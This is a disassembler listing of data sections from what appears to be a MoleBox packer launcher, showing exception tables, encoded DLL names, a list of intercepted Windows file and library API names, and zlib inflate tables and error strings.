		dd 81h,	0C1h, 101h, 181h, 201h,	301h, 401h, 601h, 801h
		dd 0C01h, 1001h, 1801h,	2001h, 3001h, 4001h, 6001h
dword_421218	dd 4 dup(0)		; DATA XREF: sub_420A87+7Co
		dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
		dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
		dd 2 dup(0Ch), 2 dup(0Dh)
dword_421290	dd 0FFFFFFFFh, 0	; DATA XREF: _3:00412BD5o
		dd offset dword_412D44+0C0h
		align 10h
		dd offset dword_412D44+90h
		dd offset dword_412D44+96h
dword_4212A8	dd 0FFFFFFFFh, 0	; DATA XREF: _3:00412E55o
		dd offset sub_41302C
		align 8
dword_4212B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_413056+5o
		dd offset sub_41314B
		align 8
dword_4212C8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_413272+5o
		dd offset sub_41363F
		align 8
dword_4212D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_410000+5o
		dd offset sub_41005D
		align 8
dword_4212E8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4136FE+5o
		dd offset sub_413809
		align 8
dword_4212F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_413838+5o
		dd offset sub_41393D
		align 8
dword_421308	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41396C+5o
		dd offset sub_413CC7
		dd 2 dup(0)
		dd offset sub_413AB3
dword_421320	dd 0FFFFFFFFh, 0	; DATA XREF: sub_413D44+5o
		dd offset loc_413EBE
		align 10h
dword_421330	dd 0FFFFFFFFh, 0	; DATA XREF: sub_413EED+5o
		dd offset loc_413FB0
		align 10h
dword_421340	dd 0FFFFFFFFh, 0	; DATA XREF: sub_413FDF+5o
		dd offset loc_4141CF
		align 10h
dword_421350	dd 0FFFFFFFFh, 0	; DATA XREF: sub_414214+5o
		dd offset sub_414315
		align 10h
dword_421360	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41441F+5o
		dd offset sub_414641
		align 10h
dword_421370	dd 0FFFFFFFFh, 0	; DATA XREF: sub_414670+5o
		dd offset sub_414710
		align 10h
dword_421380	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41473F+5o
		dd offset loc_414827
		align 10h
dword_421390	dd 0FFFFFFFFh, 0	; DATA XREF: sub_414856+5o
		dd offset sub_41491F
		align 10h
dword_4213A0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41494E+5o
		dd offset sub_4149DF
		align 10h
dword_4213B0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_414C5A+5o
		dd offset sub_414E9B
		align 10h
dword_4213C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_415175+5o
		dd offset sub_41543F
		align 10h
dword_4213D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41553D+5o
		dd offset sub_415848
		align 10h
dword_4213E0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_415867+5o
		dd offset sub_415924
		align 10h
dword_4213F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_415B59+5o
		dd offset sub_416029
		align 10h
dword_421400	dd 0FFFFFFFFh, 0	; DATA XREF: sub_416C60+5o
		dd offset sub_41734E
		dd 0
		dd offset loc_417100
		dd offset loc_417131
dword_421418	dd 0FFFFFFFFh, 0	; DATA XREF: _3:004173B5o
		dd offset dword_417B48+4BCh
		align 8
dword_421428	dd 0FFFFFFFFh, 0	; DATA XREF: sub_418070+5o
		dd offset sub_41827C
		align 8
dword_421438	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4182B0+5o
		dd offset sub_418371
		align 8
dword_421448	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41839F+5o
		dd offset sub_41845F
		align 8
dword_421458	dd 0FFFFFFFFh, 418E48h,	418E5Bh, 0 ; DATA XREF:	sub_418B90+5o
		dd offset loc_418D10
		dd offset loc_418D24
dword_421470	dd 0FFFFFFFFh, 0	; DATA XREF: sub_418F16+5o
		dd offset loc_41917B
		align 10h
dword_421480	dd 0FFFFFFFFh, 0	; DATA XREF: sub_419393+5o
		dd offset sub_419405
		align 10h
dword_421490	dd 0FFFFFFFFh, 0	; DATA XREF: sub_419529+5o
		dd offset nullsub_2
		align 10h
		dd offset loc_419731
		dd offset loc_41973A
		dd 0
		dd offset loc_419854
		dd offset loc_41985D
		align 8
dword_4214B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_419995+5o
		dd offset sub_41A789
		align 8
		dd offset sub_41A28B
		dd offset sub_41A294
		dd 1, 0
		dd offset sub_41A240
		align 10h
dword_4214E0	dd 0FFFFFFFFh, 41A9D3h,	41AA0Dh	; DATA XREF: sub_41A8B3+5o
off_4214EC	dd offset aMoleboxLaunche ; DATA XREF: sub_41BAF1+13r
					; sub_41C317+252r
					; "MoleBox launcher fatal error"
off_4214F0	dd offset aAssertionFai_0 ; DATA XREF: sub_413056+B6r
					; sub_41396C+BFr ...
					; "ASSERTION failed"
off_4214F4	dd offset aStripped	; DATA XREF: sub_413056+BEr
					; sub_41396C+C7r ...
					; "<stripped>"
dword_4214F8	dd 0FFFFFFFFh, 41BB62h,	41BB66h, 0 ; DATA XREF:	sub_41BB26+5o
dword_421508	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41BC28+5o
		dd offset loc_41BDEC
		align 8
dword_421518	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41BE16+5o
		dd offset sub_41BE9B
		align 8
dword_421528	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41BEBA+5o
		dd offset sub_41BF54
		align 8
dword_421538	dd 0FFFFFFFFh, 41C2EBh,	41C2EFh, 0 ; DATA XREF:	sub_41C106+5o
dword_421548	dd 0FFFFFFFFh, 41C6D0h,	41C6D4h, 0 ; DATA XREF:	sub_41C5E3+5o
dword_421558	dd 0FFFFFFFFh, 41C91Ch,	41C920h, 0FFFFFFFFh, 41C995h, 41C999h
					; DATA XREF: sub_41C87E+5o
dword_421570	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41CBF6+5o
		dd offset loc_41CCF3
		align 10h
dword_421580	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41CD16+5o
		dd offset sub_41CD74
		align 10h
dword_421590	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41CE67+5o
		dd offset loc_41CF7B
		align 10h
dword_4215A0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41CF9E+5o
		dd offset loc_41D080
dword_4215AC	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ;	DATA XREF: sub_41D40A+FBo
					; sub_41D40A+15Fo ...
dword_4215BC	dd 33696467h, 6C642E32h, 6Ch ; DATA XREF: sub_41D40A+10Fo
					; sub_41E519+5o ...
dword_4215C8	dd 72657375h, 642E3233h, 6C6Ch ; DATA XREF: sub_41D40A+123o
dword_4215D4	dd 33656C6Fh, 6C642E32h, 6Ch, 61766461h, 32336970h, 6C6C642Eh
					; DATA XREF: sub_41CBF6+C2o
					; sub_41CE67+6Eo ...
		dd 0
dword_4215F0	dd 61656C6Fh, 32337475h, 6C6C642Eh, 0 ;	DATA XREF: sub_41D0A3+30o
					; sub_41D112+6Fo ...
aSetunhandled_0	db 'SetUnhandledExceptionFilter',0 ; DATA XREF: _5:00424224o
aCreatefilea_0	db 'CreateFileA',0      ; DATA XREF: _5:0042422Co
aCreatefilew_0	db 'CreateFileW',0      ; DATA XREF: _5:00424234o
aReadfile_0	db 'ReadFile',0         ; DATA XREF: _5:0042424Co
		align 10h
aClosehandle_0	db 'CloseHandle',0      ; DATA XREF: _5:00424254o
aSetfilepoint_0	db 'SetFilePointer',0   ; DATA XREF: _5:0042425Co
		align 4
aGetfilesize_0	db 'GetFileSize',0      ; DATA XREF: _5:00424264o
aExitprocess_0	db 'ExitProcess',0      ; DATA XREF: _5:0042426Co
aCreatefilema_1	db 'CreateFileMappingA',0 ; DATA XREF: _5:00424274o
		align 4
aCreatefilema_2	db 'CreateFileMappingW',0 ; DATA XREF: _5:0042427Co
		align 4
aLoadlibrarya_0	db 'LoadLibraryA',0     ; DATA XREF: _5:0042429Co
		align 4
aLoadlibraryw	db 'LoadLibraryW',0     ; DATA XREF: _5:004242A4o
		align 4
aLoadlibrarye_0	db 'LoadLibraryExA',0   ; DATA XREF: _5:004242ACo
		align 4
aLoadlibraryexw	db 'LoadLibraryExW',0   ; DATA XREF: _5:004242B4o
		align 4
aFreelibrary_0	db 'FreeLibrary',0      ; DATA XREF: _5:00424294o
aGetprocaddre_0	db 'GetProcAddress',0   ; DATA XREF: _5:004242BCo
		align 4
aLoadimagea_0	db 'LoadImageA',0       ; DATA XREF: _5:0042438Co
		align 4
aMapviewoffil_0	db 'MapViewOfFile',0    ; DATA XREF: _5:00424284o
		align 4
aUnmapviewoff_0	db 'UnmapViewOfFile',0  ; DATA XREF: _5:0042428Co
aGetfileattri_1	db 'GetFileAttributesA',0 ; DATA XREF: _5:0042423Co
		align 4
aGetfileattri_2	db 'GetFileAttributesW',0 ; DATA XREF: _5:00424244o
		align 4
aGetmodulehan_0	db 'GetModuleHandleA',0 ; DATA XREF: _5:0042431Co
		align 10h
aGetmodulehan_1	db 'GetModuleHandleW',0 ; DATA XREF: _5:00424324o
		align 4
aGetmodulefil_0	db 'GetModuleFileNameA',0 ; DATA XREF: _5:00424374o
		align 4
aSearchpathw	db 'SearchPathW',0      ; DATA XREF: sub_41D85C+B2o
					; _5:0042432Co
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_41D7FD+Do
					; _5:00424334o
aAddfontresou_0	db 'AddFontResourceA',0 ; DATA XREF: sub_41E519+Ao
					; _5:0042437Co
		align 4
aRemovefontre_0	db 'RemoveFontResourceA',0 ; DATA XREF: sub_41E552+Ao
					; _5:00424384o
aFindfirstfil_0	db 'FindFirstFileA',0   ; DATA XREF: _5:004242C4o
		align 4
aFindfirstfilew	db 'FindFirstFileW',0   ; DATA XREF: sub_41D997+92o
					; _5:004242CCo
		align 4
aFindclose_0	db 'FindClose',0        ; DATA XREF: _5:004242DCo
		align 4
aFindnextfile_0	db 'FindNextFileA',0    ; DATA XREF: _5:004242E4o
		align 4
aFindnextfilew	db 'FindNextFileW',0    ; DATA XREF: sub_41DC8D+2Eo
					; _5:004242ECo
		align 4
aFindfirstfilee	db 'FindFirstFileExW',0 ; DATA XREF: sub_41DAE0+92o
					; _5:004242D4o
		align 4
a_lopen		db '_lopen',0           ; DATA XREF: sub_41E911+25o
					; _5:004242FCo
		align 10h
aOpenfile	db 'OpenFile',0         ; DATA XREF: sub_41E85D+93o
					; _5:004242F4o
		align 4
a_lread		db '_lread',0           ; DATA XREF: sub_41E9EC+27o
					; _5:0042430Co
		align 4
a_llseek	db '_llseek',0          ; DATA XREF: sub_41E9A7+20o
					; _5:00424314o
a_lclose	db '_lclose',0          ; DATA XREF: sub_41E952+23o
					; _5:00424304o
aCocreateinstan	db 'CoCreateInstance',0 ; DATA XREF: sub_41CBF6+C7o
					; _5:00424394o
		align 4
aCocreateinst_0	db 'CoCreateInstanceEx',0 ; DATA XREF: sub_41CE67+73o
					; _5:0042439Co
		align 4
aCogetclassobje	db 'CoGetClassObject',0 ; DATA XREF: sub_41CF9E+ACo
					; _5:004243A4o
		align 10h
aGetprivatepr_2	db 'GetPrivateProfileStringA',0 ; DATA XREF: _5:0042433Co
		align 4
aGetprivatepr_3	db 'GetPrivateProfileIntA',0 ; DATA XREF: _5:00424344o
		align 4
aGetprivatepr_4	db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: _5:0042434Co
		align 4
aGetprivatepr_5	db 'GetPrivateProfileSectionA',0 ; DATA XREF: _5:00424354o
		align 10h
aGetfileinfor_0	db 'GetFileInformationByHandle',0 ; DATA XREF: _5:0042435Co
		align 4
aLockfile_0	db 'LockFile',0         ; DATA XREF: _5:00424364o
		align 4
aLockfileex	db 'LockFileEx',0
		align 4
aUnlockfile_0	db 'UnlockFile',0       ; DATA XREF: _5:0042436Co
		align 10h
aUnlockfileex	db 'UnlockFileEx',0
		align 10h
aGetrecordinf_0	db 'GetRecordInfoFromGuids',0 ; DATA XREF: sub_41D112+D2o
					; _5:004243ACo
		align 4
aGetrecordinfof	db 'GetRecordInfoFromTypeInfo',0 ; DATA XREF: sub_41D0A3+35o
		align 4
aLoadregtypelib	db 'LoadRegTypeLib',0   ; DATA XREF: sub_41D21A+84o
					; _5:004243B4o
		align 4
aLoadtypelib	db 'LoadTypeLib',0      ; DATA XREF: sub_41D112+74o
					; sub_41D21A+4Fo
dword_4219A0	dd 0FFFFFFFFh, 41D74Bh,	41D74Fh, 0FFFFFFFFh, 41D75Fh, 41D763h
					; DATA XREF: sub_41D6FE+5o
		dd 0FFFFFFFFh, 41D780h,	41D784h, 0FFFFFFFFh, 41D794h, 41D798h
		dd 0FFFFFFFFh, 41D7B9h,	41D7BDh, 0FFFFFFFFh, 41D7CDh, 41D7D1h
dword_4219E8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D85C+5o
		dd offset loc_41D947
		align 8
dword_4219F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41D997+5o
		dd offset sub_41DAB6
		align 8
dword_421A08	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41DAE0+5o
		dd offset sub_41DC0B
		align 8
dword_421A18	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41DE13+5o
		dd offset sub_41DEBC
		align 8
dword_421A28	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41E184+5o
		dd offset loc_41E20C
		align 8
dword_421A38	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41E28E+5o
		dd offset sub_41E31A
		align 8
dword_421A48	dd 0FFFFFFFFh, 41E3AFh,	41E3B3h, 0FFFFFFFFh, 0 ; DATA XREF: sub_41E33E+5o
		dd offset sub_41E42A
dword_421A60	dd 0FFFFFFFFh, 41E49Fh,	41E4A3h, 0 ; DATA XREF:	sub_41E45A+5o
dword_421A70	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41E5D9+5o
		dd offset sub_41E68C
dword_421A7C	dd 0			; DATA XREF: sub_410A10+57o
					; sub_410D4F+52o
dword_421A80	dd 2 dup(0)		; DATA XREF: sub_410A10+36o
					; sub_410D4F+39o
dword_421A88	dd 0FFFFFFFFh, 410B20h,	410B24h, 0FFFFFFFFh, 410BD4h, 410BD8h
					; DATA XREF: sub_410A10+5o
dword_421AA0	dd 0FFFFFFFFh, 410E48h,	410E4Ch, 21AE8h, 2 dup(0) ; DATA XREF: sub_410D4F+5o
		dd 21C1Ch, 21000h, 21B34h, 2 dup(0)
		dd 21C3Ch, 2104Ch, 5 dup(0)
		dd 21B3Ch, 21B58h, 21B6Ah, 21B76h, 21B88h, 21B96h, 21BAAh
		dd 21BC2h, 21BDAh, 21BEAh, 21C00h, 21CA0h, 21C90h, 21C48h
		dd 21C54h, 21C6Ah, 21C80h, 21CB2h, 0
		dd 21C2Ah, 0
		db 0AAh	; ª
		db 1, 49h, 6Eh
aItializecritic	db 'itializeCriticalSection',0
		dd 6547013Eh, 6F725074h, 64644163h, 73736572h, 1CC0000h
		dd 61636F4Ch, 6572466Ch, 20B0065h, 73696152h, 63784565h
		dd 69747065h, 6E6Fh, 6F4C01C8h,	416C6163h, 636F6C6Ch, 1260000h
		dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 1C10000h
aLeavecritica_0	db 'LeaveCriticalSection',0
		align 2
aF_0		db 'f',0
aEntercritica_0	db 'EnterCriticalSection',0
		align 2
		dw 22Ch
aResumethread	db 'ResumeThread',0
		align 2
		dw 2E9h
aWriteprocessme	db 'WriteProcessMemory',0
		align 10h
		db  36h	; 6
		db 1, 47h, 65h
aTprivateprofil	db 'tPrivateProfileSectionA',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
aD		db '„',0
aDefwindowpro_0	db 'DefWindowProcA',0
		align 4
aUser32_dll_0	db 'USER32.dll',0
		align 4
		db  2Fh	; /
		db 2, 52h, 74h
aLunwind	db 'lUnwind',0
		db 0D2h	; Ò
		db 2, 57h, 69h
aDechartomultib	db 'deCharToMultiByte',0
		dw 1E4h
aMultibytetow_0	db 'MultiByteToWideChar',0
		dd 434C01BFh, 5370614Dh, 6E697274h, 4167h, 434C01C0h, 5370614Dh
		dd 6E697274h, 5767h, 65470153h,	72745374h, 54676E69h, 41657079h
		dd 1560000h, 53746547h,	6E697274h, 70795467h, 5765h
_4		ends

; Section 6. (virtual address 00022000)
; Virtual size			: 00007070 (  28784.)
; Section size in file		: 00007070 (  28784.)
; Offset to raw	data for section: 00022000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_5		segment	para public 'CODE' use32
		assume cs:_5
		;org 422000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
aInvalidBitLeng	db 'invalid bit length repeat',0 ; DATA XREF: sub_41EF26+81Do
		align 4
aTooManyLengthO	db 'too many length or distance symbols',0 ; DATA XREF: sub_41EF26+783o
aInvalidStoredB	db 'invalid stored block lengths',0 ; DATA XREF: sub_41EF26+6CCo
		align 10h
aInvalidBlockTy	db 'invalid block type',0 ; DATA XREF: sub_41EF26+66Bo
		align 4
aInvalidDistanc	db 'invalid distance code',0 ; DATA XREF: sub_41F8F5+4BBo
					; sub_41FEC6+23Eo
		align 4
aInvalidLiteral	db 'invalid literal/length code',0 ; DATA XREF: sub_41F8F5+486o
					; sub_41FEC6+28Do
byte_4220A8	db 31h			; DATA XREF: sub_42021C+15r
					; sub_420CCE+2Fo
		db 2Eh,	31h, 2Eh
		dd 34h
aNeedDictionary	db 'need dictionary',0  ; DATA XREF: sub_42031E+307o
aIncorrectDataC	db 'incorrect data check',0 ; DATA XREF: sub_42031E+230o
		align 4
aIncorrectHeade	db 'incorrect header check',0 ; DATA XREF: sub_42031E+ECo
		align 10h
aInvalidWindowS	db 'invalid window size',0 ; DATA XREF: sub_42031E+9Co
aUnknownCompres	db 'unknown compression method',0 ; DATA XREF: sub_42031E+79o
		align 10h
dword_422120	dd 9			; DATA XREF: sub_420B8A+6r
dword_422124	dd 5			; DATA XREF: sub_420B8A+11r
dword_422128	dd 760h, 100h, 800h, 50h, 800h,	10h, 854h, 73h,	752h, 1Fh
					; DATA XREF: sub_420B8A+1Co
		dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah,	800h, 60h
		dd 800h, 20h, 900h, 0A0h, 800h,	0
		dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D0h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B0h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F0h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C8h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A8h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E8h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	98h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B8h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F8h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E4h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0ECh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A2h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E2h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D2h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B2h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F2h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CAh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0AAh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EAh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Ah,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FAh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A6h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F6h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EEh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h
		dd 50h,	800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h
		dd 30h,	900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h,	20h, 900h
		dd 0A1h, 800h, 0
		dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D1h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B1h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F1h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C9h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A9h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E9h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	99h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B9h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F9h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E5h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0EDh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A3h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E3h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D3h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B3h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F3h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CBh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0ABh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EBh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Bh,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FBh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A7h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F7h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EFh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh
dword_423128	dd 550h, 1, 557h, 101h,	553h, 11h, 55Bh, 1001h,	551h, 5
					; DATA XREF: sub_420B8A+25o
		dd 559h, 401h, 555h, 41h, 55Dh,	4001h, 550h, 3,	558h, 201h
		dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h,	556h, 81h
		dd 5C0h, 6001h,	550h, 2, 557h, 181h, 553h, 19h,	55Bh, 1801h
		dd 551h, 7, 559h, 601h,	555h, 61h, 55Dh, 6001h,	550h, 4
		dd 558h, 301h, 554h, 31h, 55Ch,	3001h, 552h, 0Dh, 55Ah
		dd 0C01h, 556h,	0C1h, 5C0h, 6001h
aIncompleteDyna	db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_420681+66o
aOversubscribed	db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_420681+4Eo
aIncompleteLite	db 'incomplete literal/length tree',0 ; DATA XREF: sub_420A87:loc_420B6Co
		align 4
aOversubscrib_1	db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_420A87+D7o
		align 4
aEmptyDistanceT	db 'empty distance tree with lengths',0 ; DATA XREF: sub_420A87:loc_420B50o
		align 4
aIncompleteDist	db 'incomplete distance tree',0 ; DATA XREF: sub_420A87+BBo
		align 4
aOversubscrib_0	db 'oversubscribed distance tree',0 ; DATA XREF: sub_420A87+ADo
		align 4
dword_423318	dd 0			; DATA XREF: sub_41EF26:loc_41F35Ar
					; sub_41EF26+4C0r ...
		dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh,	0FFh, 1FFh, 3FFh, 7FFh
		dd 0FFFh, 1FFFh, 3FFFh,	7FFFh, 0FFFFh
aGetcurrentproc	db 'GetCurrentProcess',0 ; DATA XREF: sub_411310+1E4o
